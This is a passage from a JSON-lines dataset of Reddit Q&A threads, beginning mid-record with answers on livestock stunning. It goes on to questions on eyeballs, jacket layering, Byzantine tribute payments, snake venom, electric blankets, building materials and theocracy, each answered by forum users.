sensing any pain during this. That would be illegal. However they might be alive depending on the \"stun\" method used and your definition of alive. The captive bolt pistol that you describe comes in different varieties. They do cause massive brain damage which on its own is lethal most of the time. Depending on the design the bolt may actually penetrate the skull. The operation and energies involved are similar to that of a hand gun. However other ways of stunning an animal is also possible but to be sure they are working as intended most of them are likely to cause lethal damage.\n\n & #x200B;\n\nThe reason for stunning the animals first and then let them bleed out is because you get better meat if the animal bleed out. If you kill the animal the heart stops and it will bleed slower. However due to the likelihood of the heart stopping soon after you have stunned them due to the lethal damage to the brain it is common to slit their throats right after they have been stunned. This is where the definition of alive comes in as the heart should preferably still be pumping even though they are fully knocked out and likely have lethal brain injury.", "From everything I\u2019ve heard, their death is painless and they\u2019re not conscious. My information comes primarily from Dr. Temple Grandin, who is an animal behaviorist who has spent her entire career working with slaughterhouses to make the deaths pain-free and stress free. This is a  sensitive topic\u2014vegans want to play up how cruel slaughterhouses are, while cattle ranchers want to play up how humane they are. Here\u2019s why I believe, in this case, that cattle slaughter in the US is not painful, even though I\u2019m sure slaughterhouses *look* horrifically awful. (I\u2019m sympathetic to the argument that everyone should be vegetarian or vegan\u2014because the lives of these animals on factory farms are unbearably sad and they suffer a lot there for the short time they are alive). Anyway, the reason why I think the animals don\u2019t suffer in the slaughterhouse is:\n\nWhen cows are stressed, they release some stress hormones like adrenaline. This causes the meat to have a bit of a not good taste, so slaughterhouses are eager to prevent that from happening. So they work hard to prevent it\u2014not because they\u2019re truly concerned about the suffering of animals (though some are), but because it affects their bottom line. Since it affects the flavor of the meat if the animal suffers, we would know if they were lying. \n\nSo here\u2019s what they do: they try to make the trip to the slaughterhouse and the wait for slaughter as peaceful and non-scary as possible. They have this squeeze chute that is calming, and they prevent scary, unfamiliar noises or anything else that would alarm the animal to its fate. Then,  the cow abruptly gets a stunning bolt to the head, which renders them unconscious or dead, and definitely not able to detect any pain, so they won\u2019t get scared and release adrenaline. So they don\u2019t know about or feel anything that happens afterwards\u2014the lifting, the bleeding out. Nothing. \n\nIncidentally, there is a lot of controversy now in Europe about slaughter methods. These methods now used are the most humane we have ever had. Meanwhile, kosher and halal methods of slaughter were devised to be the most humane possible thousands of years ago. They involve a quick slit to the throat so they bleed out. But there\u2019s none of the stunning bolt. Unfortunately, this makes these methods less humane than the current methods. So it has put some animal rights activists at odds with the Jewish and Muslim communities, as well as empowering antisemites and Islamophobes to gain support for laws that harass and infringe upon   the rights of Muslims and Jews.", "Decapitating a cow is super-hard.  They have very thick necks and lots of muscle (that's the \"meat\" we eat).  Incomplete or failed decapitation would be super-painful, so that's not allowed.  The gadget that \"knocks them out\" really kinda destroys their brain."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://youtu.be/52jU5Aue_0U"], [], [], []]}
{"q_id": "ktuye", "title": "Do our eyeballs grow after we are born?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ktuye/do_our_eyeballs_grow_after_we_are_born/", "answers": {"a_id": ["c2n7i8f", "c2n7i8f"], "score": [3, 3], "text": ["Short-sightedness (myopia) is usually a result of the eyeballs growing too long along the horizontal axis. So, yes, they do grow for some time after birth.", "Short-sightedness (myopia) is usually a result of the eyeballs growing too long along the horizontal axis. So, yes, they do grow for some time after birth."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "qwsck", "title": "Will two identical, layered, synthetic-down jackets feel twice as warm as one?", "selftext": "I'm building my insulation layer for mountaineering, and would like to utilize an existing jacket if possible :)\n\nThanks, r/AskScience!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/qwsck/will_two_identical_layered_syntheticdown_jackets/", "answers": {"a_id": ["c4197nl"], "score": [2], "text": ["Probably not.\n\nFirst, the sense of warmth is subjective. What you are really looking for is the rate of energy transfer across the material (heat conductance).\n\nIn its simplest form, twice the thickness of material will double the insulating properties.\n\nBut: A down jacket relies in part on trapped air for insulation. If you have twice the material but squash it down to less than double the thickness you have lost some of your insulation properties.\n\nAnd the jacket(s) will not insulate equally all over. The waist, wrists and neck will be significant areas of heat loss that are unlikely to halve their loss when doubling the jackets.\n\nHaving said that, advice for keeping warm generally recommends multiple thinner layers over few thicker layers."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1l2bim", "title": "AskScience AMAs: Ask a biomedical engineer about eyes, lasers, and other stuff!", "selftext": "Hi!  I'm a biomedical engineer specializing in biophotonics and ophthalmology.  I mostly deal with research on structure and function of various ocular tissues (including disorders such as Keratoconus), as well as ophthalmic device design and simulations.  Occasionally I blow up samples with lasers.\n\nAMA about eyes, refractive surgery, lasers, crosslinking, biomedical engineering in general, and anything else you might think of!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1l2bim/askscience_amas_ask_a_biomedical_engineer_about/", "answers": {"a_id": ["cbv2kvy", "cbv44dy", "cbv4ib5", "cbv4ma0", "cbv663q", "cbv92x6", "cbv98l3"], "score": [7, 7, 2, 2, 4, 2, 2], "text": ["What are currently the biggest challenges to producing a fully-functional fake eye (to completely replace damaged ones), and how close are we to overcoming them?", "You sound like the perfect person for this: how dangerous is it, really, to shine a laser pointer in someone's eye?", "How far away do you think we are from reliable treatment for eye floaters? ", "what gives laser light that granulated effect?", "The other day I was at a friend's house, and I saw a Blu-Ray quality picture for the first time in my life (hey, I live under a rock, sue me). I was blown away. I could see every pore and hair on some guy's face as he talked to the camera. To me it was *more real than real life*.\n\nWhich makes me wonder: what IS the \"resolution\" of real life? When I'm talking to somebody I certainly can't see the pores on their face, at least not in that much detail. Obviously I'm aware that the camera they used to film that show was special and used ultra-resolution, but it makes me a feel a little old that we now have magic talking picture boxes that are more high-definition than real life.", "How does the eye stay transparent?", "Regarding laser procedures to correct eye anomalies...\n\nDoes it exist such thing as a single procedure to correct both Myopia and Astigmatism for someone who suffers both anomalies in both eyes?\n\nAlso, I'm also very curious about secondary effects that laser surgeries might have, as I've heard about them, but never actually got the chance to learn more about this issue. Please enlighten me."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "9o122c", "title": "In the fifth and sixth centuries, the Byzantines often bought peace with enemies rather than fighting. How much cheaper was this than simply funding a larger army?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9o122c/in_the_fifth_and_sixth_centuries_the_byzantines/", "answers": {"a_id": ["e7qqqiu"], "score": [161], "text": ["For the reign of Justinian we actually have some figures from the administrators Procopius and John Lydus. They have to be taken with a pinch of salt just because Romans were terrible economists, but Procopius in particular was excellently placed. He was Belisarius' secretary, which means he would have seen the accounts himself. I'm going to give figures in *solidi*, the main imperial currency, because that helps put things in perspective. 1lbs of gold was about 70 *solidi* and the annual imperial income in Justinian's reign varied between about 4.5-7m *solidi*. \n\n**Cost of war**\n\nThe 1 year campaign in Africa (533\u2013534) cost 7,000,000 *solidi*. That was an expedition of about 25,000 soldiers and supporting staff. Additional expenses came from having to get a fleet together to transport the soldiers, their horses, their weapons and food etc. To put that into perspective, the annual imperial income at the time was about 5-6,000,000 *solidi*. That campaign went really well and was relatively cheap, the following campaign in Italy did not go so well. The 13 year war between the Eastern Roman Empire and the Ostrogoths under Totila cost 1,600,000 *solidi* per year and a grand total of 300,000lbs of gold according to Procopius. The vast expense of this war is one of the main reasons Procopius utterly despised Justinian - he thought this was an enormous waste of time, men and money that should have been spent protecting the existing frontiers of the empire rather than creating new ones. \n\n**Cost of peace**\n\nBuying peace was far, far cheaper, not to mention the lives saved. Most Roman diplomatic payments went to Persia. At their peak, the payments ran over 11,000 pounds of gold or 770,000 solidi a year. At that time, that was about 13% of the empire's annual income. This was no small expense, but as you can see from the figures above it was about half as costly as a major war. Tiberius II (574\u2013582) paid 7,200 pounds of gold per year for four years to get peace with Persia. These payments did not always work; a general rule about Persian treaties is that the Persians broke them when the oppurtunity was just too good, but they were still cheaper than a full-blown war between two of the world's most powerful states. As long as the money flowing to Perisa was more than the money they could get through looting Antioch, they wouldn't invade. \n\nOther peoples were easier and cheaper to buy off. Justin II paid just 80,000 silver coins to the Avars for peace. Emperor Maurice paid them 80,000 gold *solidi* a year, which was still very little compared to the overall size of the economy. Tiberius II paid the Lombard tribes 200,000 *solidi* over several years to fight against each other to stop them unifying. \n\nOverall, paying off the Persians was about half as costly as a war, and paying off barbarians was many times cheaper. This is in purely economic terms, not including the lives and infrastructure saved, which influenced this policy as well. \n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7p9a6d", "title": "How did the \"two individuals disguised in one coat\" trope originate?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7p9a6d/how_did_the_two_individuals_disguised_in_one_coat/", "answers": {"a_id": ["dsghdn6"], "score": [3], "text": ["Are you talking about kids stacked on top of each other inside an overcoat to sneak into adults-only functions?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cuygwp", "title": "why is chicago so windy compared to many other cities?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cuygwp/eli5_why_is_chicago_so_windy_compared_to_many/", "answers": {"a_id": ["ey0fkw7", "ey0gfi4", "ey0ghmj"], "score": [15, 6, 7], "text": ["Chicago isn't really all that windy. I mean, it's windy, but no more than most other places. It got the nickname \"The Windy City\" because of \"the hot air bellowing from politicians.\"", "uh.... its not that windy of a city, the name is something else.\n\nThere's debates about how exactly the name originated, which it did during the late 1800s, and no one is entirely certain how it came about exactly, but it was never really meant to be a reference about the weather. It was about the notorious chicago politics (probably) and the people... but not about the weather. Not that there isn't wind in the city, but its certainly not very windy and the name wasn't connected to the weather.  Chicago sorta adopted the name itself although it wasn't created by Chicago, others appear to have referenced it about the city and the city took ownership of the name.\n\nThere's significant debate about how it exactly came about, but no one is realistically thinking it had to do with wind", "Lake effect. Wind is caused by a different in air temperature, which causes a difference of air densities. Cold, dense air falling from mountains and the upper atmosphere shoves hot air out of the way - eventually moving that hot air back up into the atmosphere.\n\nWater is a very good thermal insulator. It holds onto heat very well. So you have a huge body of water (Lake Michigan) that's holding onto heat from the Sun at a northern latitude that gets less direct sunlight, so the air is comparatively cool. This creates a big difference in air densities, which drives a lot of wind. Because Chicago has such large buildings and relatively straight streets, the wind gets channeled down the streets, amplifying it.\n\nNone of which is why Chicago is *called* the windy city. Other cities experiences these effects - albeit, they generally aren't as big as Chicago. Chicago gets its nickname from an [insult against its \"windbag\" politicians](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.history.com/news/why-is-chicago-called-the-windy-city"]]}
{"q_id": "1t51hv", "title": "Can a poisonous creature die from its own poison?", "selftext": "For example, if a snake were to have its internal venom gland burst, would it die from the poison?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1t51hv/can_a_poisonous_creature_die_from_its_own_poison/", "answers": {"a_id": ["ce4eyiu", "ce4fnp4", "ce4nb1q", "ce4ox5r", "ce4oyja", "ce4qucg"], "score": [370, 80, 11, 3, 7, 5], "text": ["The reason is that the venom snakes use is a protein. Proteins are made up of building blocks of what\u2019s called amino acids. They\u2019re the same stuff, effectively, as your Sunday roast: meat. That means that if you were to eat them \u2013 say I ate a snake and ate the poison sacks \u2013 if I just ate it and it went into my digestive system the acid and the enzymes in my stomach would just be able to break down the protein so it would fall apart and it would be harmless. It\u2019s only actually toxic if it gets beyond the gut and it gets into the circulation of the body. That\u2019s why one snake could, for instance, eat another snake, and it wouldn\u2019t be poisoned by it. In the same way, a person who has diabetes and needs to inject the hormone insulin. Insulin is a protein and if you were to eat it by mouth the digestive tract would break it down. That\u2019s why people have to inject insulin to make it work. So why don\u2019t snakes poison themselves given they have the same toxin in their bodies. It\u2019s exactly the same reason if for instance your pancreas makes a deadly cocktail of digestive juices which, if they got into your bloodstream, would kill you very rapidly. People who get a condition called acute pancreatitis do have a very high mortality rate. It does kill people because they literally eat themselves from the inside out. The reason that they don\u2019t do that normally when you\u2019re healthy is because the enzymes are made in cells in an inactive state. They\u2019re exported from the cell into a duct which is lined with specially protecting cells that stop it going back in to the body\u2019s own tissues and do any damage. The only place it can go is down the duct and then out into the digestive tract. If you put that into the context of the snake, it\u2019s got a gland which knows how to make the proteins in the venom. They get exported into this duct which is a special holding bay, protected from the venom. It can\u2019t go back the wrong way. When the snake bites you there are tiny muscle cells around those ducts and it squirts the venom down the fang (there\u2019s a duct in there) and in to the holes that the teeth have made in you. That\u2019s why the snake doesn\u2019t die from its own venom because it keeps it in a specially adapted part of the body so it can\u2019t get into the circulation. I did ask a snake venom researcher and he said you can also find snake venom antibodies in snakes to their own venom, to a certain extent. They kind of have their own antivenom built it. Possibly because they have exposed themselves at low level. I don\u2019t know how protective that is so there\u2019s two mechanisms there why a snake doesn\u2019t poison itself.", "Dalek seems to have answered your question, however one thing to address is the terminology you've used.\n\nVenom and poison are terms that are used interchangeably, however venom is a substance which needs to be injected in some manner (biting, stabbing, stinging etc), while poison can affect by manner of absorption through skin or ingestion. \n\nSnakes are venomous, deploying their methods through a bite, while other creatures, such as the poison dart frog, secrete poison through their skin which can affect creatures which try to eat them.", "Dalek1234 answered your question in case the venom/poison is swallowed. It allows venomous snakes to eat their victims.\nHowever, when a venomous snake bites itself, it will die from its own venom. This is also the reason why fights between venomous snakes are pretty harmless and they avoid biting each other.", "For venomous animals, Dalek1234's answer covers it pretty well. Almost all venomous animals use protein based venom (exception: ants use formic acid). But are there animals that have small molecule poisons?\n\nSome animals are poisonous by virtue of their diet, such as the pufferfish. Its diet consists of bacteria that produces tetrodotoxin. In fact, you can even raise pufferfish that aren't poisonous by feeding them a tetrodotoxin free diet!\n\nAlthough it probably hasn't been attempted before, I bet that if you fed pufferfish skin or liver to a pufferfish, it would suffer no ill effects (other than feelings of disgust at cannibalism), since the poison is part of its diet anyway.\n\nThe same would apply for golden poison frog which also gets its poison from an unknown source in its diet. ", "Lots of responses here and I don't like any of them. The short answer to your question, OP, is: yes. \"Can a poisonous creature die from its own poison?\" For the sake of an example, let's say a cobra mistakes the lower half of its body for a rat and strikes itself with the intent of killing the \"rat.\" Cobra musculature reacts the same way to venom injection as would a rat's. The snake will die.", "I understand that a protein based venom would only cause harm if it enters the blood. If it is ingested and only enters the stomach then it is likely broken down / digested. \n\nHowever, what happens if a venomous animal envenoms itself? I mean not digest its own venom but actually somehow gets its own venom into its own blood? \n\nDoes it have antibodies to it's own venom? In sufficient quantities? \n\nWhat about the venom of another member of the same species?\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "43slwe", "title": "are electric blankets bad for your health in any way?", "selftext": "Not sure if this is the best subreddit to ask this question but fuck it. My roommates have an electric blanket that they turn on before they get into bed and back off when they get in bed because they say the electromagnetic field it emits is bad for your health in a number of ways and can lead to various side effects. Does this have any truth to it or are they just paranoid hippies? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/43slwe/eli5are_electric_blankets_bad_for_your_health_in/", "answers": {"a_id": ["czkpadr", "czkrqig", "czksfqb", "czl71ng"], "score": [6, 2, 15, 2], "text": ["I don't have a scientific answer for you at all, but I've slept under an electric blanket (turned on) every winter for my entire life and I don't have any health problems whatsoever.  I turn mine on high about an hour before I plan to get in bed, and when I get in bed I turn it down to a 4-7 depending on the night, and turn it off when I wake up in the morning.  Your friend might just be paranoid.", "I've been wondering about this lately too.  Is it really safe to have my skin and internal organs subjected to this kind of heat regularly?  Because I really like to be extra warm.", "No, the electromagnetic field emitted by the current running through the blanket will not harm you in any way. With regards to overheating, you'd be unable to stand the heat before any damage occurs , unless you're an idiot and try to overheat yourself using one, you're going to get uncomfortable and take it off/turn it off long before the heat does any damage.\n\n\nThe only real risk for an electric blanket is electrocution and fire risk. Both can be mitigated if you're sensible.", "There isn't evidence of electromagnetic related effects of electric heating blankets.\n\nElectric blankets could potentially be dangerous if applied for an extended period of time (e.g., someone with Diabetes has no sensation in their feet and end up with burns as a result), or if you're already warm (e.g., a fever). \n\nIn the case of most individuals, electric blankets don't negatively impact your health."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "71pabc", "title": "Is it possible to crack/shatter a quartz (or any piezoelectric material) with enough electricity?", "selftext": "Will it crack, explode, shatter, or just melt when too much voltage is applied?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/71pabc/is_it_possible_to_crackshatter_a_quartz_or_any/", "answers": {"a_id": ["dnfmhul"], "score": [2], "text": ["Yes, it's totally possible to crack/shatter a piezo-crystal from it's own piezoelectric force if you apply a too high voltage (pulse) without anything in place that \"receives\" the force. E.g. when you excite a piezo crystal too much in free air. (source: I once accidentally destroyed an expensive crystal just like that. Whoops.)\n\nI believe (take with a grain of salt, I am not an expert on this!) this is considerable harder to do when the piezo is acting on something (e.g. wedged between two plates that are to be moved), as most piezo crystals are much more resistant to pushing than to pulling. Also it should be quite difficult to destroy a piezo from the heating due to ohmic losses in the material.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3pzz86", "title": "why is marilyn monroe considered such an iconic model?", "selftext": "I just feel like there have been other models that are on her level in terms of beauty but can in no way be compared to her on a level of fame and recognition.\n\nWhat happened that got her to that level?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3pzz86/eli5_why_is_marilyn_monroe_considered_such_an/", "answers": {"a_id": ["cwawoja", "cwawr6t"], "score": [2, 5], "text": ["because at the time she was famous although there is other actors as \"good looking\" as her, she was the first that was truly sexualised and became the standard of beauty at the time, for example her revealing white skirt which is rather revealing at the time.", "She died young and more or less at the peak of her career, she was a fairly prolific and successful actress, she was one of the first really famous women to pose nude, and she was married to DiMaggio and Arthur Miller.\n\nI mean, pick one."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "f5oxw", "title": "What are the building materials of the future?", "selftext": "What materials are being developed/tested now that are going to be common in the manufacture of technology? \n\nHow about the materials we'll use for buildings and infrastructure?\n\nHave we made any progress towards having easily affordable solar panels yet?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/f5oxw/what_are_the_building_materials_of_the_future/", "answers": {"a_id": ["c1dhf8w", "c1dhmar", "c1dho3s", "c1dhqwl", "c1dhv1f", "c1ditoe"], "score": [2, 7, 3, 2, 4, 3], "text": ["More a technology than a material, but: _URL_0_\n\nUnbonded brace frames", "I wouldn't be surprised to see [hemcrete](_URL_0_) make a more-credible appearance in the next few years.", "[LiTraCon](_URL_0_) which is a transparent concrete.", "For buildings(at least homes): Wood. Why? Because its cheap, easy to work with and is well known. I'd wager good money that in 50 years homes in the US will still be built with wood. The insulation, exterior and paints will certainly change but holding it all up will be wood.\n\nFor larger scale buildings reinforced concrete and steel architecture will continue to be the building material for the foreseeable future. Again, cheap, well known and proven.  \n", "Currently, there are thousands of various structural materials being researched for future use. It would be near impossible to give an adequate list, and many of the famous ones have been mentioned (Aerogel, LiTraCon, hemcrete, and dare I say graphene or carbon nanotubes for spintronics or, more realistically, structural stages for atomic microscopy). The majority of future structural materials that will be put in use are going to be either composites, or the same material compositions we're already using with different processing methods. Unfortunately, these materials of the future don't sound as cool as an unrealistic [carbon nanotube space elevators](_URL_3_).\n\nOne example might be [metallic foams](_URL_0_), such as aluminum foam. The idea is to make a metal very porous to reduce the weight, but still retain some structural integrity. A lot of research is being conducted on making composites out of these foams, coupling the aluminum foam with, say, steel wires or a polymer injection. The auto industry is doing research on [related topics](_URL_2_) that might make cars more light weight but still withstand a crash. For example, the aluminum foam would be able to collapse on itself and absorb energy from the crash. The drawbacks are a loss of strength that comes along with the reduced weight and manufacturing methods for mass producing very cheap materials.\n\nAnother, more \"futuristic\" sounding material class would be [self healing polymers](_URL_1_). Epoxy resins are used for thermoset and thermoplastic polymers for fiber reinforced composites in a lot of structural materials. However, they are highly crosslinked which make them brittle and susceptible to microcracks deep within the structure. The idea is to create a polymer that has small vessels inside the body that contain a liquid healing agent that can be released upon damage of the cell wall, and then release the chemicals that will then react and heal the damage. The problems with this are high cost, a limited stability and level of self repair, and a limited ability to heal multiple incidents of damage. A lot of work needs to be done before this becomes a common material.\n\nThere are many more boring candidates for future materials that consist of nothing but composite materials, such as different forms of thermoplastic resins that are fiber reinforced, or new powder metallurgy methods for producing stronger alloys that have identical compositions to current alloys. Although these don't sound as exciting, these types of materials will keep pushing technologies to become more efficient, faster, and stronger. They just aren't getting any of the limelight of the fun, quirky materials.\n\n~~Ceramic use for high temperature structural loading,~~ edit: I seem to have gotten ahead of myself. I was going to tack on a few more examples but I must have gotten busy at work.", "So you've asked essentially two questions - however both are extremely broad and open ended.\n\nFirstly - in regards to what materials are being developed/tested now there are tons.  In regards to the manufacture of technology what precisely do you mean?  In regards to the semiconductor industry there is a lot of work looking into high-k dielectrics that have already or are in the process of replacing silicon dioxide.  Materials such as halfnium based oxides and all sorts of exotic materials.  More fundementally alot of work in this industry is more looking towards new structures as opposed to new materials per se.  Things such as single electron transistors, memristors, and nanotube based technology.\n\nI think this is a good place to transition towards solar panels.  So there is tons of progress towards affordable solar panels - and in my opinion there are two (3 if you count concentrators) main directions this is happening.  Firstly, staying with traditional semiconductor based technologies, companies such as Nanosolar (_URL_1_) claim to have brought the cost down significantly with a printed roll-to-roll process.  On the other side, on a creative materials world is the exciting world of organic electronics.  These are largely again carbon based materials with lots of aeromatic rings and well defined structures to allow for cheaper processing.  I believe Plexora (or something along those lines, I'm writing from memory here) is another startup hoping to commercialize this technology.  \n\nIn regards to buildings and infrastructure there are several approaches again.  Some are in the world of extremely novel materials - carbon nanotube based fibers, graphene, aerogels and a whole lot more.  Additionally, healing polymers are already in place today which use UV to catalyze their self repairing properties (I believe one of the major automakers is using this in paints as an option), nevermind things such as TiO2 based antimicrobial surfaces and the like.  \n\nAdditionally, the world of coatings is huge.  Why have a whole new material when you could instead coat it with a significantly stronger material to alleivate some of the stress.  Companies such as Integran (_URL_0_) conduct this sort of work.  \n\nNow for my own opinion here - I don't believe it will be radically different materials causing change - as most of these examples show.  We'll largely stick to carbon, iron, and silicon and rather have to develop methods for arranging them into powerful structures.  This is where self-assembly and controlled growth mechanisms will be important.  \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.arup.com/_assets/_download/download172.pdf"], ["http://inhabitat.com/hemcrete-carbon-negative-hemp-walls-7x-stronger-than-concrete/"], ["http://www.archicentral.com/litracon-transparent-concrete-4379/"], [], ["http://en.wikipedia.org/wiki/Metal_foam", "http://en.wikipedia.org/wiki/Self-healing_material", "http://www.motorauthority.com/blog/1049388_lightweight-aluminum-foam-sandwich-material-may-solve-porky-car-problem", "http://en.wikipedia.org/wiki/Space_elevator"], ["www.integran.com", "www.nanoslar.com"]]}
{"q_id": "8yquzi", "title": "why do the colors red and yellow make you feel hungry?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8yquzi/eli5_why_do_the_colors_red_and_yellow_make_you/", "answers": {"a_id": ["e2d1ze4"], "score": [2], "text": ["There are many foods that are very many foods that are red or yellow.   Very few are blue. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "j6nvm", "title": "what a \"theocracy\" is and how it affects world politics/societies today?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/j6nvm/eli5_what_a_theocracy_is_and_how_it_affects_world/", "answers": {"a_id": ["c29l4yg", "c29l4yg"], "score": [4, 4], "text": ["A theocracy is a government ruled by people who are members of a religion, and who see that the job of government is to make sure that a country is ruled by the principles of that religion.\n\nThis differs from secular government in that members of these governments are also often religious, but they believe that a country's laws should be neutral with respect to religion.\n\nA theocratic government, however, tries to rule based strictly on the rules of their religions.  In theocracies, it is often against the law to be a member of another religion, or if not against the laws, you may not have as many rights if you are a member of the \"wrong\" religions.  Mandatory attendance to religious services is often required.\n\nThere have been many theocracies throughout history, but there are four religions which are most closely associated with theocracy today:  Christianity, Islam, Judaism and Hinduism.\n\nA Christian theocracy would be ruled by a church (the specific sect of whoever is proposing the idea), in order to uphold the laws and doctrines that that particular sect (or variety of belief) holds to be true and important.  Many of the early colonies which eventually formed the United States began as something close to theocracies, in that attendance to specific churches was sometimes required, or that only members of specific sects could hold public office.  There are countries today which often try to become close to being theocracies, but generally, Christian theocracy is something only extreme fundamentalists (who think it's good) and conspiracy theorists (who think it's bad) are concerned with in the modern age.  The Vatican is a modern theocracy, but its population is very small, and almost every citizen of that nation is either clergy of some sort or members of the Swiss Guard, or the children and spouses of the Swiss Guard.  Unlike other countries, citizenship in The Vatican is determined by appointment to an office rather than birth, so while it is accurate to consider The Vatican a theocratic monarchy with the Pope as monarch, in practice it doesn't matter much, as citizenship is mostly a badge of office.\n\nAn Islamic theocracy rules their country according to laws set forth in the Koran, and this is known as sharia law.  In Christianity, being \"right\" is about \"right belief\" (also called orthodoxy, not to be confused with the Orthodox Church, which is a branch of Christianity).  In Islam, being \"right\" is about \"right practice\", or orthopraxy.  In Islamic sharia law, it is not as important what you believe so much as what you do, and Muslims believe that correct thought comes from correct action, which is the reverse of what most Christians believe.  Therefore, in sharia law communities and nations, mandatory prayer attendance (five times a day) is required, as written in the Koran.  Freedom of speech is not considered a good thing, since someone might choose to speak out against the government.  Personal rights are limited to those which are defined in the Koran, and womens' rights in particular are often much less than in secular states.  Unlike Christianity, there are major countries today which actually do have sharia law as their legal doctrine, and are therefore theocracies - Saudi Arabia is probably the country most accurately described as an Islamic Theocracy.\n\nOrthodox Judaism supports theocracy in the nation of Israel.  While Israel itself is not properly considered a theocracy in most areas, it is true that the Orthodox Jewish community does have a say in their government in excess of the amount of population they represent.  Orthodox supporters of a Judaic theocracy would like to see the nation run according to rules set forth in the Pentatauch, the five most important books (to Jews) of the Hebrew Bible (more correctly, the Torah).\n\nLastly, Hindu supporters of theocracy believe that the most important Hindu Nationalist party in India, the Bharatiya Janata Party (or BJP) should move India to the right, and believe that India should be a Hindu state rather than a state which allows religious freedom.  It is important to note that this is not the goal of the BJP as a whole, but just a radical minority.  As Indian politics is very complicated and since I am not familiar enough to break down support of Hindu nationalism and support for a theocratic government much beyond that, I'll leave that for someone else to describe, if you're interested.", "A theocracy is a government ruled by people who are members of a religion, and who see that the job of government is to make sure that a country is ruled by the principles of that religion.\n\nThis differs from secular government in that members of these governments are also often religious, but they believe that a country's laws should be neutral with respect to religion.\n\nA theocratic government, however, tries to rule based strictly on the rules of their religions.  In theocracies, it is often against the law to be a member of another religion, or if not against the laws, you may not have as many rights if you are a member of the \"wrong\" religions.  Mandatory attendance to religious services is often required.\n\nThere have been many theocracies throughout history, but there are four religions which are most closely associated with theocracy today:  Christianity, Islam, Judaism and Hinduism.\n\nA Christian theocracy would be ruled by a church (the specific sect of whoever is proposing the idea), in order to uphold the laws and doctrines that that particular sect (or variety of belief) holds to be true and important.  Many of the early colonies which eventually formed the United States began as something close to theocracies, in that attendance to specific churches was sometimes required, or that only members of specific sects could hold public office.  There are countries today which often try to become close to being theocracies, but generally, Christian theocracy is something only extreme fundamentalists (who think it's good) and conspiracy theorists (who think it's bad) are concerned with in the modern age.  The Vatican is a modern theocracy, but its population is very small, and almost every citizen of that nation is either clergy of some sort or members of the Swiss Guard, or the children and spouses of the Swiss Guard.  Unlike other countries, citizenship in The Vatican is determined by appointment to an office rather than birth, so while it is accurate to consider The Vatican a theocratic monarchy with the Pope as monarch, in practice it doesn't matter much, as citizenship is mostly a badge of office.\n\nAn Islamic theocracy rules their country according to laws set forth in the Koran, and this is known as sharia law.  In Christianity, being \"right\" is about \"right belief\" (also called orthodoxy, not to be confused with the Orthodox Church, which is a branch of Christianity).  In Islam, being \"right\" is about \"right practice\", or orthopraxy.  In Islamic sharia law, it is not as important what you believe so much as what you do, and Muslims believe that correct thought comes from correct action, which is the reverse of what most Christians believe.  Therefore, in sharia law communities and nations, mandatory prayer attendance (five times a day) is required, as written in the Koran.  Freedom of speech is not considered a good thing, since someone might choose to speak out against the government.  Personal rights are limited to those which are defined in the Koran, and womens' rights in particular are often much less than in secular states.  Unlike Christianity, there are major countries today which actually do have sharia law as their legal doctrine, and are therefore theocracies - Saudi Arabia is probably the country most accurately described as an Islamic Theocracy.\n\nOrthodox Judaism supports theocracy in the nation of Israel.  While Israel itself is not properly considered a theocracy in most areas, it is true that the Orthodox Jewish community does have a say in their government in excess of the amount of population they represent.  Orthodox supporters of a Judaic theocracy would like to see the nation run according to rules set forth in the Pentatauch, the five most important books (to Jews) of the Hebrew Bible (more correctly, the Torah).\n\nLastly, Hindu supporters of theocracy believe that the most important Hindu Nationalist party in India, the Bharatiya Janata Party (or BJP) should move India to the right, and believe that India should be a Hindu state rather than a state which allows religious freedom.  It is important to note that this is not the goal of the BJP as a whole, but just a radical minority.  As Indian politics is very complicated and since I am not familiar enough to break down support of Hindu nationalism and support for a theocratic government much beyond that, I'll leave that for someone else to describe, if you're interested."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
